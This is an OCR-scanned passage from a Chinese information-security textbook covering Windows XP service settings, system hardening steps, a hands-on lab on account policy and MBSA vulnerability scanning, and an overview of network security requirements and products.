计算 机 的 不 断 电 电源 供应 CUPS) 。 

(63) Universal Plug and Play Device Host: 建议 自动 。 提 供 主机 通用 即 插 即 用 装置 的 
支持 。 用 来 监测 安装 通用 即 插 即 用 服务 (Universal Plug and Play，UPnP) 装 置 , 如 数字 相 
机 或 打印 机 。 依 存 于 SSDP Discovery Service。 

(64) Volume Shadow Copy: 建议 停 用 。 管 理 及 执行 用 于 备份 和 其 他 目的 的 磁盘 区 卷 
影 复制 。 如 果 这 个 服务 被 停 用 , 卷 影 复制 将 无 法 用 于 备份 ,备份 可 能 会 失败 。 如 果 这 个 服务 
被 停 用 ,任何 明确 依存 于 它 的 服务 将 无 法 启动 。 

(65) WebClient: 建议 停 用 。 启 用 Windows 为 主 的 程序 来 建立 、 存 取 , 以 及 修改 因 特 
网 为 主 的 档案 。 如 果 停 用 这 个 服务 ,这些 功 能 将 无 法 使 用 。 如 果 停 用 这 个 服务 ,任何 明确 依 
存 于 它 的 服务 将 无 法 启动 。 使 用 WebDAV 将 档案 或 数据 夹 上 载 到 所 有 的 Web 服务 ,基于 
安全 性 的 理由 ,用 户 可 以 将 其 关闭 。 依 存 于 WebDav Client Redirector。 

(66) Windows Audio: 建议 自动 。 管 理 用 于 Windows 为 主 程序 的 音讯 装置 。 如 果 这 
个 服务 被 停 用 ,音讯 装置 和 效果 将 无 法 正常 使 用 。 如 果 这 个 服务 被 停 用 ,任何 明确 依存 于 它 
的 服务 将 无 法 启动 。 如 果 用 户 没有 声卡 ,就 可 以 将 此 项 服务 关 掉 。 依 存 于 Plug and Play, 
Remote Procedure Call (RPC). 

(67) Windows Image Acquisition (WIA) (Windows 影像 取得 程序 ) : 建议 手动 。 为 
扫描 仪 和 数码 相机 提供 影像 皂 取 服务 。 如 果 扫 描 仪 和 数码 相机 内 部 具有 支持 WIA 功能 的 
话 , 那 就 可 以 直接 看 到 图 像 , 不 需要 其 他 的 驱动 程序 ,所 以 没有 扫描 仪 和 数码 相机 的 使 用 者 
可 以 将 其 关 掉 。 依 存 于 Remote Procedure Call (RPC). 

(68) Windows Installer (Windows 安装 程序 ) : 建议 手动 。 根 据 包含 在 . MSI 档案 内 
的 指示 来 安装 、 修 复 以 及 移 除 软件 。 这 是 一 个 系统 服务 ,协助 使 用 者 正确 地 安装 、 设 定 、 追 
踪 、 升 级 和 移 除 软件 程序 ,可 管理 应 用 程序 建立 和 安装 的 标准 格式 ,并 且 追 踪 如 档案 群 组 、 登 
录 项 目 及 快捷 方式 等 组 件 。 依 存 于 Remote Procedure Call (RPC). 

(69) Windows Management Instrumentation (WMI) : 建议 自动 。 提 供 公 用 接口 及 对 
象 模型 ,以 存 取 有 关 操作 系 统 .装置 .应 用 程序 及 服务 的 管理 信息 。 如 果 这 个 服务 已 停 用 ,大 
多 数 的 Windows 软件 将 无 法 正常 工作 。 如 果 这 个 服务 已 停 用 ,所 有 依存 于 它 的 服务 都 将 
无 法 启动 。 依 存 于 Event Log、Remote Procedure Call (RPC). 

(70) Windows Management Instrumentation Driver Extensions ( Windows 
Management Instrumentation 驱动 程序 延伸 ) : 建议 手动 。 提 供 系统 管理 信息 给 予 / 取 自 驱 
动 程序 。 

(71) Windows Time (Windows 时 间 设 定 ) : 建议 停 用 。 维 护 在 网 络 上 所 有 客户 端 及 
服务 器 的 数据 及 时 间 同 步 处 理 。 如 果 这 个 服务 被 停 用 ,将 无 法 进行 日 期 及 时 间 同 步 处 理 。 
如 果 这 个 服务 被 停 用 ,所 有 依存 它 的 服务 都 会 停 用 。 

(72) Wireless Zero Configuration: 建议 停 用 。 为 802. 11 适 配 卡 提 供 自 动 设 定 ,自动 
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配置 无 线 网 络 装置 ,简单 地 说 就 是 除非 用 户 有 无 线 网 络 适 配 卡 装置 ,那么 用 户 才 有 必要 使 用 
这 个 服务 。 依 存 于 NDIS Usermode I/O Protocol, Remote Procedure Call (RPC), 

(73) WMI Performance Adapter: 建议 停 用 。 提 供 来 自 WMIHiPerf 提供 者 的 效能 链 
接 库 信息 。 依 存 于 Remote Procedure Call (RPC). 

(74) Workstation (工作 站 ) : 建议 自动 。 建 立 并 维护 到 远程 服务 器 的 客户 端 网 络 联 
机 。 如 果 停 用 这 个 服务 ,这 些 联 机 将 无 法 使 用 .所 有 依存 于 它 的 服务 将 无 法 启动 。 依 存 于 
Alerter, Background Intelligent Transfer Service, Computer Browser, Messenger, Net 
Logon,Remote Procedure Call (RPC) Locator. 


12.2.6 其 他 安全 设置 


1. 禁止 远程 协助 ,屏蔽 闲置 的 端口 

在 Windows XP 上 有 一 项 名 为 “远程 协助 ”的 功能 , 它 允 许 用 户 在 使 用 计算 机 发 生 困难 
时 ,向 MSN 上 的 好 友 发 出 远程 协助 邀请 ,来 帮助 自己 解决 问题 。 恰 恰 就 是 这 个 “远程 协助 ” 
功能 ,成 了 冲击波? 病毒 所 要 攻击 的 RPC(Remote Procedure Call) 服 务 在 Windows XP 上 
的 渠道 。 建 议 用 户 不 要 使 用 该 功能 , 若 要 使 用 ,就 得 事先 安装 Microsoft 提供 的 RPC 漏洞 
工具 和 ”冲击 波 ” 免 疫 程序 。 禁 止 * 远 程 协助 ”的 方法 是 : 打开 “系统 属性 ”对 话 框 ( 右 键 单 击 
“我 的 电脑 ”, 在 弹出 的 快捷 菜单 中 选择 “属性 ”选项 ) ,在 “远程 "选项 卡 中 取消 选中 “允许 从 这 
台 计算 机 发 送 远程 协助 邀请 ? 复 选 框 即 可 。 

2. 禁止 终端 服务 远程 控制 

“终端 服务 ”是 Windows XP 在 Windows 2000 系统 (Windows 2000 利用 此 服务 实现 远 
程 的 服务 器 托管 ) 上 遗留 下 来 的 一 种 服务 形式 。 用 户 利用 终端 可 以 实现 远程 控制 。 “终端 服 
务 ” 和 "远程 协助 ?是 有 一 定 区 别 的 ,虽然 都 实现 的 是 远程 控制 ,终端 服务 更 注重 用 户 的 登录 
管理 权限 , 它 的 每 次 连接 都 需要 当前 系统 的 一 个 具体 登录 ID, 且 相互 隔离 终端 服务 "独立 
于 当前 计算 机 用 户 的 邀请 ,可 以 独立 .自由 登录 远程 计算 机 。 

在 Windows XP 系统 下 ,终端 服务 "是 被 默认 打开 的 (Windows 2000 系统 需要 安装 相 
应 的 组 件 , 才 可 以 开启 和 使 用 终端 服务 ) ,也 就 是 说 ,如 果 有 人 知道 用 户 计算 机 上 的 一 个 用 户 
登录 ID, 并 且 知 道 计算 机 的 IP, 他 就 可 以 完全 控制 用 户 的 计算 机 。 

在 Windows XP 系统 里 关闭 “终端 服务 ”的 方法 是 : 打开 “系统 属性 ”对 话 框 (右键 单 击 
“我 的 电脑 ”, 在 弹出 的 快捷 菜单 中 选择 “属性 ”选项 ) ,在 “远程 "选项 卡 中 取消 选中 “允许 用 户 
远程 连接 到 这 台 计 算 机 ” 复 选 框 即 可 。 

3. 合理 管理 Administrator 

Windows 2000/XP 系统 ,系统 安装 后 都 会 默认 创建 一 个 Administrator 用 户 , 它 拥有 计 
算 机 的 最 高 管理 权限 。 因 此 .个 人 用 户 应 该 妥善 保管 “Administrator” 用 户 信息 , Windows 
2000 登录 时 ,要 求 输入 Administrator 用 户 的 登录 密码 ,而 Windows XP 在 正常 启动 后 ,是 
看 不 到 Administrator 用 户 的 ,建议 使 用 Windows XP 的 用 户 进入 安全 模式 ,再 在 “控制 面 
板 ” 窗 口 的 “用 户 账 户 ” 项 里 为 Administrator 用 户 添加 密码 ,或 者 将 其 删除 掉 , 以免 留 下 


第 12 章 操作 系统 安全 技术 351 


4. 接收 邮件 的 安全 设置 

很 多 包含 病毒 或 者 恶意 代码 的 电子 邮件 通常 会 在 用 户 预 览 邮件 的 时 候 发 作 ,因此 对 于 
HTML 邮件 ,最 安全 的 方法 是 通过 纯 文 本 的 方式 浏览 和 预览 它们 。 以 系统 自 带 的 Outlook 
Express 为 例 , 在 “阅读 ”选项 卡 中 ,选中 “用 纯 文 本 格式 阅读 所 有 信息 ” 复 选 框 ,如 图 12-10 所 
示 这 样 所 有 收 到 的 HTML 格式 的 邮件 都 会 只 显示 其 中 的 文本 ,而 恶意 代码 或 者 其 他 
HTML 语言 都 不 会 被 执行 ,大 大 提高 了 电子 邮件 的 安全 性 。 注 意 , 这 个 特性 在 安装 IE 6 
SP1 后 才 提 供 。 


IR 


an | Me mn | 发 送 [oS [sz | 安全 | 连接 Der 


在 显示 邮件 中) 5 $ 秒 后 , 将 其 标记 为 已 读 
自动 展开 组 合 邮件 ©) 
在 预览 窗 格 中 查看 的 同时 自动 下 载 邮 件 @) 
ARIIRAA TEW 

在 邮件 列表 中 为 甬 贴 项 显示 工具 提示 W 
突出 显示 被 跟踪 的 邮件 W: [MTE 


SERE |300 S| 个 邮件 标 头 
退出 新 闻 姐 时 将 所 有 上 邮件 标记 为 已 读 © 


人 
& 单 击 此 处 以 更 改 阅读 邮件 时 使 用 的 字体 和 默认 编码 


FeO (Bez oO 
(Caz) (ee _) | WT 
图 12-10 Outlook 选项 的 设置 


5. 使 用 MSconfig 

MSconfig 是 Windows 操作 系统 中 的 系统 配置 使 用 程序 ,在 Windows 98 中 用 户 就 会 经 
常 使 用 它 来 控制 系统 的 进程 ,如 启动 。Windows XP 提供 了 功能 更 为 强大 的 MSconfig ,在 
Windows XP 中 用 户 不 仅 可 以 控制 系统 启动 时 自动 运行 的 程序 ,还 可 以 更 改 启 动 服 务 和 多 
操作 系统 共存 时 默认 启动 的 系统 ,用 户 可 以 定期 检查 启动 项 目的 服务 来 判断 是 否 存在 后 门 
程序 。 


实 训 13 Windows XP 系统 安全 配置 


1. 实 训 目的 

通过 实验 掌握 Windows 账户 与 密码 的 安全 设置 ,文件 系统 的 保护 和 加 密 , 安 全 策略 与 
模板 的 使 用 .审核 和 日 志 的 启用 、 本 机 漏洞 检测 软件 MBSA 的 使 用 。 

2. 实 训 内 容 

任务 1 账户 和 口令 的 安全 设置 
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(1) 删除 不 必要 的 账户 ,禁用 Guest 账户 。 

(2) 启用 账户 策略 并 进行 设置 。 

(3) 开机 时 设置 为 “不 自动 显示 上 次 登录 账户 ”。 

(4) 禁止 枚 举 账户 名 。 

任务 2 ”启用 审核 与 日 志 查看 

(1) 打开 审核 策略 。 

(2) 查看 事件 日 志 。 

任务 3 利用 MBSA 检查 和 配置 系统 安全 

(1) 检查 系统 漏洞 。 

(2) 查看 安全 性 报告 并 动手 修复 漏洞 。 

(3) 结果 分 析 。 

3. 实 训 设 备 

安装 Windows XP 的 PC 一 台 。 

4. KIPR 

任务 1 账户 和 口令 的 安全 设置 

(1) 删除 不 必要 的 账户 ,禁用 Guest 账户 。 

O 删除 不 必要 的 账户 。 右 击 “ 我 的 电脑 ”在 弹出 的 快捷 菜单 中 选择 “管理 ”选项 ,打开 
“计算 机 管理 "窗口 ,选择 “本 地 用 户 和 组 ”中 的 “用 户 ” 项 , 先 新 建 两 个 用 户 a 和 b, 通 过 密码 
可 以 访问 该 计算 机 ,选择 从 列 出 的 用 户 里 删除 不 需要 的 账户 ,这 些 账户 就 不 能 再 访问 该 计 
算 机 。 

© Guest IK MESA. Aid Guest 用 户 ,选择 “ 属 性 ”选项 ,在 弹出 的 对 话 框 中 选中 “ 账 
户 已 停 用 ” 复 选 框 ,Guest 前 的 图 标 会 出 现 一 个 红色 的 又 ,此 时 账户 被 禁用 。 

(2) 启用 账户 策略 并 进行 设置 

选择 “开始 ”一 “控制 面板 ”> 管理 工具 ”~ 本 地 安全 策略 ?选项 ,打开 * 本 地 安全 设置 
窗口 ,选择 “账户 策略 ”, 双 击 “ 密 码 策略 ”, 用 于 密码 的 安全 规则 和 设置 。 

双击 “密码 必须 符合 复杂 性 要 求 ”, 选 择 “ 启 用 ”选项 。 

双击 “密码 长 度 最 小 值 ”; 在 弹出 的 对 话 框 中 设置 可 被 系统 接受 的 账户 密码 长 度 最 
小 值 。 

双击 “密码 最 长 存留 期 ”, 设 置 账 户 密码 的 最 长 使 用 期 限 为 42 天 。 用 来 提醒 用 户 定期 修 
改 密码 ,防止 密码 使 用 时 间 过 长 带 来 的 安全 问题 。 

双击 “密码 最 短 存 留 期 ”, 设 置 密码 最 短 存 留 期 为 5 天。 在 这 5 天 内 用 户 不 能 修改 密码 ， 
防止 攻击 者 修改 账户 密码 。 

双击 “强制 密码 历史 ”, 设 置 让 系统 记 住 的 密码 数量 。 

双击 “为 域 中 所 有 用 户 使 用 可 还 原 的 加 密 存储 密码 ” ,设置 是 否 设 置 加 密 存储 密码 。 

(3) 开机 时 设置 为 “不 自动 显示 上 次 登录 账户 ” 

选择 “开始 ”>“ 控 制 面板 ”>“ 管 理工 具 ” 一 “本 地 安全 策略 ”选项 ,打开 “本 地 安全 设置 ” 
窗口 ,选择 “本 地 策略 ”, 双 击 “ 安 全 选项 ”, 如 图 12-11 所 示 。 

(4) 禁止 枚 举 账户 名 ,如 图 12-12 所 示 。 
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图 12-12 禁止 枚 举 账户 名 设置 


任务 2 启用 审核 与 日 志 查 看 

(1) 打开 审核 策略 。 

选择 “开始 ”一 “控制 面板 ”>“ 管 理工 具 ” 一 “本 地 安全 策略 "选项 ,在 打开 的 “本 地 安全 设 
置 "窗口 中 选择 “审核 策略 ”, 双 击 可 启用 该 项 策略 。 详 见 12. 2. 1 节 审 核 策略 的 内 容 。 

(2) 查看 事件 日 志 

打开 “管理 工具 ”窗口 ,双击 “事件 查看 器 ”。 详 见 12. 2. 1 节 审 核 策 略 的 内 容 。 

任务 3 利用 MBSA 检查 和 配置 系统 安全 

(1) 检查 系统 漏洞 。 

双击 打开 MBSA ,在 弹出 的 窗口 中 选择 Scan a computer。 在 弹出 的 窗口 中 填写 本 地 计 
算 机 名 称 ,并 选择 希望 扫描 的 漏洞 类 型 。 采 用 全 部 漏洞 扫描 , 单 击 start scan 按钮 ,扫描 计 
算 机 。 

(2) 查看 安全 性 报告 并 手动 修复 漏洞 

首先 查看 报告 中 评估 结果 为 叉 号 的 项 目 , 选 择 file system, 打 开 result detail, 查 看 该 项 
检查 中 出 现 的 具体 问题 ; 单 击 how to correct this 按钮 ,弹出 的 窗口 显示 了 有 关 如 何 修改 项 
目 设置 的 提示 信息 。 根 据 提示 ,可 以 修改 不 符合 安全 性 要 求 的 设置 ; 完成 修改 后 ,再 次 进行 
扫描 ,查看 修改 后 的 设置 是 否 已 经 达到 安全 要 求 。 
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本 章 小 结 


(1) 主要 介绍 了 目前 服务 器 常用 的 操作 系统 种 类 : UNIX, Linux, Windows 及 各 类 操作 
系统 的 特点 。 重 点 介绍 了 Windows XP 操作 系统 的 安全 配置 ,从 策略 管理 ,文件 的 安全 、 注 
册 表 设置 .日 志和 审核 .系统 服务 的 其 他 的 安全 设置 等 几 方面 ,说 明 Windows XP 系统 的 安全 
配置 过 程 。 

(2) 通过 实 训 实现 Windows XP 系统 的 安全 配置 方法 。 


1. Windows 系统 的 安全 机 制 都 有 哪些 ? 

2. 以 Windows XP 为 例 ,分 析 该 操作 系统 具有 哪些 访问 控制 功能 ? 

3. 以 你 本 人 所 使 用 的 操作 系统 为 例 ,你 目前 已 采取 了 哪些 安全 措施 ?分 析 还 存在 哪些 
安全 隐患 ,考虑 下 一 步 该 采取 哪些 安全 措施 来 增强 系统 的 安全 性 。 

4. 在 学 习 生活 中 你 和 你 的 同学 遇 到 过 QQ 账号 、 网 络 游 戏 账号 或 者 网 上 交易 账号 被 盗 
的 情况 吗 ? 分 析 原 因 并 思考 以 后 该 采取 哪些 措施 进行 有 效 防范 ? 

5. 以 你 本 人 所 使 用 的 操作 系统 为 例 , 检 测 该 系统 存在 哪些 安全 漏洞 ? 平时 你 是 如 何 来 
修复 操作 系统 漏洞 和 应 用 软件 漏洞 的 ? 
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13.1 信息 安全 体系 结构 现状 


20 世纪 80 年 代 中 期 ,美国 国防 部 为 适应 军事 计算 机 的 保密 需要 ,在 20 世纪 70 年 代 的 
基础 理论 研究 成 果 计 算 机 保密 模型 (Bell&Lapadula 模型 ) 的 基础 上 ,制定 了 “可 信 计 算 机 系 
统 安 全 评价 准则 ”(TCSEC) ,其 后 又 对 网 络 系统 、 数 据 库 等 方面 做 出 了 一 系列 安全 解释 , 形 
成 了 安全 信息 系统 体系 结构 的 最 早 原则 。 至 今 ,美国 已 研制 出 符合 TCSEC 要 求 的 安全 系 
统 ( 包 括 安全 操作 系统 、 安 全 数据 库 、 安 全 网 络 部 件 ) 达 100 多 种 ,但 这 些 系统 仍 有 局 限 性 ,还 
没有 真正 达到 形式 化 描述 和 证 明 的 最 高 级 安全 系统 。 

1989 年 ,确立 了 基于 OSI 参考 模型 的 信息 安全 体系 结构 ,1995 年 在 此 基础 上 进行 修 
正 , 颁 布 了 信息 安全 体系 结构 的 标准 ,具体 包括 五 大 类 安全 服务 、 八 大 种 安全 机 制 和 相应 的 
安全 管理 标准 。20 世纪 90 年 代 初 ,英法 、 德 . 荷 四 国 针 对 TCSEC 准则 只 考虑 保密 性 的 局 
限 , 联 合 提出 了 包括 保密 性 、 完 整 性 ,可 用 性 概念 的 “信息 技术 安全 评价 准则 ”(ITSEC) ,但 是 
该 准则 中 并 没有 给 出 综合 解决 以 上 问题 的 理论 模型 和 方案 。 近 年 来 六 国 七 方 (美国 国家 安 
全 局 和 国家 技术 标准 研究 所 、 加 、 英 、 法 、 德 . 荷 ) 共 同 提出 了 “信息 技术 安全 评价 通用 准则 ” 
(CC for ITSEC)。CC 综合 了 国际 上 已 有 的 评测 准则 和 技术 标准 的 精华 ,给 出 了 框架 和 原 
则 要 求 ,但 它 仍然 缺少 综合 解决 信息 的 多 种 安全 属性 的 理论 模型 依据 。 

标准 于 1999 年 7 月 通过 国际 标准 化 组 织 的 认可 ,被 确立 为 国际 标准 ,编号 为 ISO/IEC 
15408。ISOVIEC 15408 标准 对 安全 的 内 容 和 级 别 给 予 了 更 完整 的 规范 ,为 用 户 对 安全 需求 
的 选取 提供 了 充分 的 灵活 性 。 然 而 ,国外 研制 的 高 安全 级 别 的 产品 对 我 国 是 封锁 禁 售 的 , 即 
使 出 售 给 我 们 ,其 安全 性 也 难以 令 人 放心 。 

安全 体系 结构 理论 与 技术 主要 包括 安全 体系 模型 的 建立 及 其 形式 化 描述 与 分 析 , 安 全 
策略 和 机 制 的 研究 ,检验 和 评估 系统 安全 性 的 科学 方法 和 准则 的 建立 ,符合 这 些 模型 .策略 
和 准则 的 系统 的 研制 (如 安全 操作 系统 、 安 全 数据 库 系统 等 ) 。 

我 国 在 系统 安全 的 研究 及 应 用 方面 与 先进 国家 和 地 区 存在 着 很 大 的 差距 。 近 几 年 来 ， 
我 国 进行 了 安全 操作 系统 、 安 全 数据 库 、 多 级 安全 机 制 的 研究 ,但 由 于 自主 安全 内 核 受 控 于 
人 ,难以 保证 没有 漏洞 ,而 且 大 部 分 有 关 的 工作 都 以 美国 1985 年 的 TCSEC 标准 为 主要 参 
照 。 开 发 的 防火 墙 \ 安 全 路 由 器 ,安全 网 关 、 黑 客人 侵 检 测 系统 等 产品 和 技术 ,主要 集中 在 系 
统 应 用 环境 的 较 高 层次 上 ,在 完善 性 、 规 范 性 、 实 用 性 上 还 存在 许多 不 足 ,特别 是 在 多 平台 的 
兼容 性 .多 协议 的 适应 性 、 多 接口 的 满足 性 方面 存在 很 大 的 差距 ,其 理论 基础 和 自主 的 技术 
手段 也 有 待 于 发 展 和 强化 。 然 而 ,我 国 的 系统 安全 的 研究 与 应 用 毕竟 已 经 起 步 ,具备 了 一 定 
的 基础 和 条 件 。1999 年 10 月 ,我 国 发 布 了 “计算 机 信息 系统 安全 保护 等 级 划分 准则 ”, 该 准 
则 为 安全 产品 的 研制 提供 了 技术 支持 ,也 为 安全 系统 的 建设 和 管理 提供 了 技术 指导 。 
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Linux 开放 源 代码 为 我 们 自主 研制 安全 操作 系统 提供 了 前 所 未 有 的 机 遇 。 作 为 信息 系 
统 赖 以 支持 的 基础 系统 软件 一 一 操作 系统 ,其 安全 性 是 关键 。 长 期 以 来 ,我国 广泛 使 用 的 主 
流 操作 系统 都 是 从 国外 引进 的 。 从 国外 引进 的 操作 系统 ,其 安全 性 难以 令 人 放心 。 具 有 我 
国 自主 版 权 的 安全 操作 系统 产品 在 我 国 各 行 各 业 都 迫切 需要 。 我 国 的 政府 .国防 、 金 融 等 机 
构 对 操作 系统 的 安全 都 有 各 自 的 要 求 , 都 迫切 需要 找到 一 个 既 满足 功能 、 性 能 要 求 ,又 具备 
足够 的 安全 可 信 度 的 操作 系统 。Linux 的 发 展 及 其 在 国际 上 的 广泛 应 用 ,在 我 国 也 产生 了 
广泛 的 影响 ,只 要 其 安全 问题 得 到 妥善 解决 ,就 会 得 到 我 国 各 行 各 业 的 普遍 接受 。 


13.2 网 络 安 全 需求 


网 络 安全 需求 主要 包括 下 述 几 种 需求 。 

1. 物理 安全 需求 

由 于 重要 信息 可 能 会 通过 电磁 辐射 或 线路 干扰 而 被 泄露 ,因此 需要 对 存放 机 密 信 息 的 
机 房 进 行 必要 的 设计 ,如 构建 屏蔽 室 . 采 用 辆 射 干 扰 机 等 ,以 防止 电磁 辐射 泄露 机 密 信息 。 
此 外 ,还 可 对 重要 的 设备 和 系统 进行 备份 。 

2. 访问 控制 需求 

网 络 需 要 防范 非法 用 户 的 非法 访问 和 合法 用 户 的 非 授权 访问 。 

非法 用 户 的 非法 访问 也 就 是 黑客 或 间谍 的 攻击 行为 。 在 没有 任何 防范 措施 的 情况 下 ， 
网 络 的 安全 主要 是 靠 主机 系统 自身 的 安全 设置 (如 用 户 名 及 口令 ) 简 单 控制 的 。 但 对 于 用 户 
名 及 口令 的 保护 方式 ,对 有 攻击 目的 的 人 而 言 ,根本 就 不 是 一 种 障碍 。 他 们 可 以 通过 对 网 络 
上 信息 的 监听 或 者 通过 猜测 得 到 用 户 名 及 口令 ,这 对 他 们 而 言 都 不 是 难事 ,而 且 只 需 花 费 很 
少 的 时 间 。 因 此 ,要 采取 一 定 的 访问 控制 手段 ,防范 来 自 非法 用 户 的 攻击 ,保证 只 有 合法 用 
户 才能 访问 合法 资源 。 

合法 用 户 的 非 授权 访问 是 指 合 法 用 户 在 没有 得 到 许可 的 情况 下 访问 了 他 本 不 该 访问 的 
资源 。 一 般 来 说 ,每 个 成 员 的 主机 系统 中 ,有 一 部 分 信息 是 可 以 对 外 开放 的 ,而 有 些 信息 是 
要 求 保密 或 具有 一 定 的 隐私 性 的 。 外 部 用 户 被 允许 访问 一 定 的 信息 ,但 他 们 同时 有 可 能 通 
过 一 些 手段 越权 访问 别人 不 允许 他 访问 的 信息 ,从 而 会 造成 他 人 的 信息 泄密 , 因此 必须 加 
密 访问 控制 的 机 制 ,对 服务 及 访问 权限 进行 严格 控制 。 

3. 加 密 需 求 与 CA 系统 构建 

加 密 传 输 是 网 络 安全 的 重要 手段 之 一 。 信 息 的 泄露 很 多 都 是 在 链 路 上 被 搭 线 窃 取 的 ， 
数据 也 可 能 因为 在 链 路 上 被 截获 、 被 算 改 后 传输 给 对 方 , 造 成 数据 的 真实 性 、 完 整 性 得 不 到 
保证 。 如 果 利 用 加 密 设 备 对 传输 数据 进行 加 密 ,使 得 在 网 上 的 数据 以 密 文 传输 (因为 数据 是 
密 文 ) ,那么 即使 在 传输 过 程 中 被 截获 ,入 侵 者 也 读 不 懂 , 而 且 加密 还 能 通过 先进 的 技术 手段 
对 数据 传输 过 程 中 的 完整 性 、 真 实 性 进行 鉴别 ,从 而 保证 数据 的 保密 性 、 完 整 性 及 可 靠 性 。 
因此 ,必须 配备 加 密 设 备 对 数据 进行 传输 加 密 。 网 络 系统 采用 加 密 措施 ,而 加 密 系统 通常 都 
通过 加 密 密 钥 来 实现 ,但 密 钥 的 分 发 及 管理 的 可 靠 性 却 存在 安全 问题 。 为 解决 此 问题 ,提出 
T CA 系统 的 构建 , 即 通过 信任 的 第 三 方 来 确保 通信 双方 互相 交换 信息 。 
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4. 入 侵 检 测 系 统 需求 

防火 墙 是 实现 网 络 安全 最 基本 、 最 经 济 、 最 有 效 的 措施 之 一 。 防 火 墙 可 以 对 所 有 的 访问 
进行 严格 控制 (允许 禁止 ,报警 ) ,但 防火 墙 不 可 能 完全 防止 有 些 新 的 攻击 或 那些 不 经 过 防 
火 墙 的 其 他 攻击 。 所 以 ,为 了 确保 网 络 更 加 安全 ,必须 配备 人 侵 检测 系统 ,对 通过 防火 墙 的 
攻击 进行 检测 ,并 做 相应 的 反应 (记录 、 报 警 . 阻 断 ) 。 

5. 安全 风险 评估 系统 需求 

网 络 系统 和 操作 系统 存在 安全 漏洞 (如 安全 配置 不 严密 等 ) 等 是 使 黑客 等 人 侵 者 的 攻击 
屡屡 得 手 的 重要 因素 。 入 侵 者 通常 都 是 通过 一 些 程序 来 探测 网 络 中 系统 存在 的 一 些 安全 漏 
洞 ,然后 通过 发 现 的 安全 漏洞 ,采取 相应 的 技术 进行 攻击 。 因 此 ,必须 配备 网 络 安全 扫描 系 
统 和 系统 安全 扫描 系统 来 检测 网 络 中 存在 的 安全 漏洞 ,并 采取 相应 的 措施 填补 系统 漏洞 ,对 
网 络 设 备 等 存在 的 不 安全 配置 重新 进行 安全 配置 。 

6. 防 病毒 系统 需求 

病毒 的 危害 性 极 大 并 且 传 播 极 为 迅速 ,必须 配备 从 单机 到 服务 器 的 整套 防 病毒 软件 , 实 
现 全 网 的 病毒 安全 防护 。 必 须 配备 从 服务 器 到 单机 的 整套 防 病毒 软件 ,防止 病毒 入 侵 主 机 
并 扩散 到 全 网 ,实现 全 网 的 病毒 安全 防护 ,以 确保 整个 单位 的 业务 数据 不 受到 病毒 的 破坏 ， 
日 常 工作 不 受 病毒 的 侵扰 。 由 于 新 病毒 的 出 现 比较 快 ,因此 要 求 防 病毒 系统 的 病毒 代码 库 
的 更 新 周期 必须 比较 短 。 

7. 漏洞 扫描 需求 

在 网 络 建设 中 必须 部 署 漏洞 扫描 系统 , 它 能 主动 检测 本 地 主机 系统 存在 安全 性 弱点 的 
程序 ,采用 模仿 黑客 人 侵 的 手法 对 目标 网 络 中 的 工作 站 、 服 务 器 ,数据库 等 各 种 系统 以 及 路 
由 器 、 交 换 机 、 防 火 墙 等 网 络 设备 可 能 存在 的 安全 漏洞 进行 逐 项 检查 ,测试 该 系统 上 有 没有 
安全 漏洞 存在 ,然后 就 将 扫描 结果 向 系统 管理 员 提 供 周密 、 可 靠 的 安全 性 分 析 报 告 , 从 而 让 
管理 人 员 从 扫描 出 来 的 安全 漏洞 报告 中 了 解 网 络 中 服务 器 提供 的 各 种 服务 及 这 些 服 务 呈 现 
在 网 络 上 的 安全 漏洞 ,在 系统 安全 防护 中 做 到 有 的 放 矢 ,及 时 修补 漏洞 ,从 根本 上 解决 网 络 
安全 问题 ,有 效 地 阻止 入 侵 事 件 的 发 生 。 

8. 电磁 泄露 防护 需求 

计算 机 系统 和 网 络 系 统 在 工作 时 会 产生 电磁 辐射 ,信息 以 电信 号 方式 传输 时 也 会 产生 
电磁 辆 射 ,造成 电磁 泄露 。 对 重要 的 保密 计算 机 ,应 使 用 屏 项 技术 .电磁 干扰 技术 和 传输 加 
密 技 术 , 避 免 因 电磁 泄露 而 引起 的 信息 泄密 。 


13.3 ”网络 安全 产品 


解决 网 络 信 息 安全 问题 的 主要 途径 是 利用 密码 技术 和 网 络 访问 控制 技术 。 密 码 技 术 用 
于 隐蔽 传输 信息 、 认 证 用 户 身份 等 。 网 络 访问 控制 技术 用 于 对 系统 进行 安全 保护 ,抵抗 各 种 
外 来 攻击 。 目 前 ,在 市 场 上 比较 流行 ,而 又 能 够 代表 未 来 发 展 方向 的 安全 产品 大 臻 有 以 下 
ILE. 


358 信息 安全 与 技术 


1. 防火 墙 

防火 墙 在 某 种 意义 上 可 以 说 是 一 种 访问 控制 产品 。 它 在 内 部 网 络 与 不 安全 的 外 部 网 络 
之 间 设 置 障碍 ,阻止 外 界 对 内 部 资源 的 非法 访问 ,防止 内 部 网 络 对 外 部 网 络 的 不 安全 访问 。 
防火 墙 的 主要 技术 有 包 过 滤 技 术 、 应 用 网 关 技术 和 代理 服务 技术 。 防 火 墙 能 够 较为 有 效 地 
防止 黑客 利用 不 安全 的 服务 对 内 部 网 络 进行 的 攻击 ,并 且 能 够 实现 数据 流 的 监控 、 过 滤 、 记 
录 和 报告 功能 , 较 好 地 隔断 内 部 网 络 与 外 部 网 络 的 连接 。 但 它 本 身 可 能 存在 安全 问题 ,也 可 
能 会 是 一 个 潜在 的 瓶颈 。 

2. 安全 路 由 器 

由 于 WAN 连接 需要 专用 的 路 由 器 设备 ,因而 可 通过 路 由 器 来 控制 网 络 传输 。 通 常 采 
用 访问 控制 列表 技术 来 控制 网 络 信息 流 。 

3. 虚拟 专用 网 (VPN) 

虚拟 专用 网 (VPN) 是 在 公共 数据 网 络 上 通过 采用 数据 加 密 技 术 和 访问 控制 技术 来 实 
现 两 个 或 多 个 可 信 内 部 网 之 间 的 互联 。VPN 的 构架 通常 都 要 求 采用 具有 加 密 功 能 的 路 由 
器 或 防火 墙 ,以 实现 数据 在 公共 信道 上 的 可 信和 传递 。 

4. 安全 服务 器 

安全 服务 器 主要 针对 一 个 局 域 网 内 部 信息 存储 、 传 输 的 安全 保密 问题 ,其 实现 功能 包括 
对 局 域 网 资源 的 管理 和 控制 .对 局 域 网 内 用 户 的 管理 ,以 及 对 局 域 网 中 所 有 安全 相关 事件 的 
审计 和 跟踪 。 

5. 电子 签证 机 构 一 一 CA F PKI 产品 

电子 签证 机 构 (CA) 作 为 通信 的 第 三 方 ,为 各 种 服务 提供 可 信任 的 认证 服务 。CA 可 向 
用 户 发 行 电子 证 书 , 为 用 户 提 供 成 员 身 份 验证 和 密 钥 管理 等 功能 。PKI 产品 可 以 提供 更 多 
